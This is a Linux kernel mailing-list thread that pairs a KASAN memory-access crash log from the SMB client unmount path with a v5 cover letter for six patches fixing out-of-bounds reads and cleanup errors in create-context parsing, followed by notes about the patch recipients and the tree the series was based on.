[ 1344.782025] [  T11242] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xff1100007e4b34c0 pfn:0x7e4b0
[ 1344.782036] [  T11242] head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 1344.782045] [  T11242] flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
[ 1344.782056] [  T11242] page_type: f5(slab)
[ 1344.782069] [  T11242] raw: 00fff00000000240 ff11000105b8edc0 ffd400000418d610 ff11000105b90948
[ 1344.782075] [  T11242] raw: ff1100007e4b34c0 0000000800190013 00000000f5000000 0000000000000000
[ 1344.782080] [  T11242] head: 00fff00000000240 ff11000105b8edc0 ffd400000418d610 ff11000105b90948
[ 1344.782085] [  T11242] head: ff1100007e4b34c0 0000000800190013 00000000f5000000 0000000000000000
[ 1344.782089] [  T11242] head: 00fff00000000002 ffffffffffffff01 00000000ffffffff 00000000ffffffff
[ 1344.782094] [  T11242] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
[ 1344.782098] [  T11242] page dumped because: kasan: bad access detected
[ 1344.782111] [  T11242] page_owner tracks the page as allocated
[ 1344.782643] [  T11242] page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd2800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10789, tgid 10789 (umount), ts 770745347902, free_ts 770742186938
[ 1344.784632] [  T11242]  post_alloc_hook (mm/page_alloc.c:2232 mm/page_alloc.c:2259)
[ 1344.784658] [  T11242]  get_page_from_freelist (mm/page_alloc.c:1738 mm/page_alloc.c:1904 mm/page_alloc.c:3234 mm/page_alloc.c:3410 mm/page_alloc.c:3945)
[ 1344.784668] [  T11242]  __alloc_frozen_pages_noprof (include/linux/gfp.h:272 (discriminator 1) include/linux/gfp.h:287 (discriminator 1))
[ 1344.784677] [  T11242]  alloc_pages_mpol+0x14a/0x440
[ 1344.784697] [  T11242]  new_slab (mm/slub.c:1604)
[ 1344.784712] [  T11242]  ___slab_alloc (mm/slub.c:4448)
[ 1344.784722] [  T11242]  kmem_cache_alloc_noprof (arch/x86/include/asm/preempt.h:95 (discriminator 1) mm/slub.c:4771 (discriminator 1) mm/slub.c:4883 (discriminator 1) mm/slub.c:4950 (discriminator 1))
[ 1344.784731] [  T11242]  mempool_alloc_noprof (mm/mempool.c:608)
[ 1344.784741] [  T11242]  cifs_small_buf_get (fs/smb/client/misc.c:237 (discriminator 2))
[ 1344.784751] [  T11242]  __smb2_plain_req_init (fs/smb/client/smb2pdu.c:565)
[ 1344.784761] [  T11242]  SMB2_tdis (fs/smb/client/smb2pdu.c:3097)
[ 1344.784772] [  T11242]  cifs_put_tcon (fs/smb/client/connect.c:2911 (discriminator 1))
[ 1344.784781] [  T11242]  cifs_put_tlink (arch/x86/include/asm/bitops.h:202 arch/x86/include/asm/bitops.h:232 include/asm-generic/bitops/instrumented-non-atomic.h:142 fs/smb/client/connect.c:2905)
[ 1344.784790] [  T11242]  cifs_umount (fs/smb/client/connect.c:4010 (discriminator 1))
[ 1344.784799] [  T11242]  deactivate_locked_super (fs/super.c:485)
[ 1344.784821] [  T11242]  cleanup_mnt (include/linux/llist.h:283 (discriminator 5) fs/namespace.c:1325 (discriminator 5))
[ 1344.784837] [  T11242] page last free pid 10789 tgid 10789 stack trace:
[ 1344.785506] [  T11242]  __free_frozen_pages (mm/page_alloc.c:5462)
[ 1344.785518] [  T11242]  stack_depot_save_flags (lib/stackdepot.c:473 lib/stackdepot.c:706)
[ 1344.785564] [  T11242]  set_track_prepare (arch/x86/include/asm/preempt.h:95 (discriminator 1) include/linux/bit_spinlock.h:41 (discriminator 1) mm/slub.c:628 (discriminator 1) mm/slub.c:655 (discriminator 1))
[ 1344.785574] [  T11242]  ___slab_alloc (mm/slub.c:4441)
[ 1344.785584] [  T11242]  __kmalloc_cache_noprof (mm/slub.c:5777)
[ 1344.785595] [  T11242]  kobject_uevent_env (include/linux/slab.h:950 include/linux/slab.h:1188 lib/kobject_uevent.c:543)
[ 1344.785612] [  T11242]  device_del (drivers/base/core.c:1642 drivers/base/core.c:3884)
[ 1344.785660] [  T11242]  device_unregister (drivers/base/core.c:3922)
[ 1344.785670] [  T11242]  bdi_unregister (mm/backing-dev.c:1013)
[ 1344.785690] [  T11242]  generic_shutdown_super (fs/super.c:666)
[ 1344.785700] [  T11242]  kill_anon_super (fs/super.c:1293)
[ 1344.785709] [  T11242]  cifs_kill_sb (fs/smb/client/cifsfs.c:349)
[ 1344.785719] [  T11242]  deactivate_locked_super (fs/super.c:485)
[ 1344.785728] [  T11242]  cleanup_mnt (include/linux/llist.h:283 (discriminator 5) fs/namespace.c:1325 (discriminator 5))
[ 1344.785739] [  T11242]  task_work_run (kernel/task_work.c:232)
[ 1344.785755] [  T11242]  exit_to_user_mode_loop (kernel/entry/syscall_user_dispatch.c:114 (discriminator 1))
[ 1344.785783] [  T11242] Memory state around the buggy address:
[ 1344.785790] [  T11242]  ff1100007e4b3080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1344.785799] [  T11242]  ff1100007e4b3100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1344.785807] [  T11242] >ff1100007e4b3180: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 1344.785813] [  T11242]                    ^
[ 1344.785821] [  T11242]  ff1100007e4b3200: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
[ 1344.785828] [  T11242]  ff1100007e4b3280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 1344.785835] [  T11242] ==================================================================
[ 1344.785843] [  T11242] Disabling lock debugging due to kernel taint

-----END crash log-----

Best regards,
Zihan Xi

changes in v5:
- Guard the final preauth-hash update in patch 5 when resp_iov is NULL,
addressing the kernel test robot Smatch report:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Bound NameOffset + NameLength by the current context, reject offsets
before the context header, and skip known-handler dispatch for zero
DataLength.
- Defer response-buffer handoff until processed MIDs are synchronized and
preserve earlier CREATE responses for cancelled-mid cleanup on failures.
- Account num_remote_opens only after close-work allocation succeeds and
before queueing the asynchronous close.
- Preserve SMB2_OP_OPEN_QUERY parser errors and document the overlap with
Frank Sorenson's related smb2_parse_contexts() patch.
- Update the QEMU user-mode network and guest interface instructions.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Split the POSIX handler check into a separate patch and corrected the
parser Fixes history.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Bound each response context by Next, read QFid data from DataOffset,
and extend lease validation through LeaseFlags.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

Zihan Xi (6):
smb: client: fix create context out-of-bounds reads
smb: client: validate POSIX create context length
smb: client: close handle after create-context parsing failure
smb: client: clean up failed cached directory opens
smb: client: close completed creates on compound wait errors
smb: client: preserve create-context parsing errors

 fs/smb/client/cached_dir.c | 32 ++++++++++++------
 fs/smb/client/smb2inode.c  |  6 ++--
 fs/smb/client/smb2misc.c   |  9 +++--
 fs/smb/client/smb2ops.c    | 28 +++++++++++-----
 fs/smb/client/smb2pdu.c    | 54 +++++++++++++++++++++++-------
 fs/smb/client/transport.c  | 67 ++++++++++++++++++++++++++++++--------
 6 files changed, 148 insertions(+), 48 deletions(-)
Quoted 3 lines

--
2.43.0

Hi Paulo and Namjae,

I noticed that I sent the v5 series with the wrong primary recipient. The series is already on lore under
cover Message-ID
<[email protected]>.

Quoted 6 lines

Frank's feedback on v3 asked me to send future versions to Paulo and copy Namjae. Sorry for missing that.
I am sending this note to correct the direct notification.

Best regards,
Zihan

Hi Paulo and maintainers,

A clarification about this v5 reroll.

The series was generated against cifs/for-next at 9ca668da8e4c9, before the earlier version of these fixes was merged through the cifs-fixes-7.3-rc5 tag. The current cifs-next tree therefore already contains the previous versions of the create-context and compound cleanup fixes, so applying the complete v5 series to that tree produces overlapping hunks. This is expected and does not indicate a conflict in those fixes.

The v5 reroll contains one additional source change in patch 5:

    if (num_processed == num_rqst && resp_iov)

This guards the final pre-authentication hash update against a NULL resp_iov and addresses the Smatch report from the kernel test robot:

https://lore.kernel.org/r/[email protected]/

That guard is not present in the current cifs-next tree. Please disregard the duplicate portions of the v5 series; I will send a focused follow-up for this remaining NULL-dereference fix against the current tree.

Sorry for the confusion.

Best regards,
Zihan Xi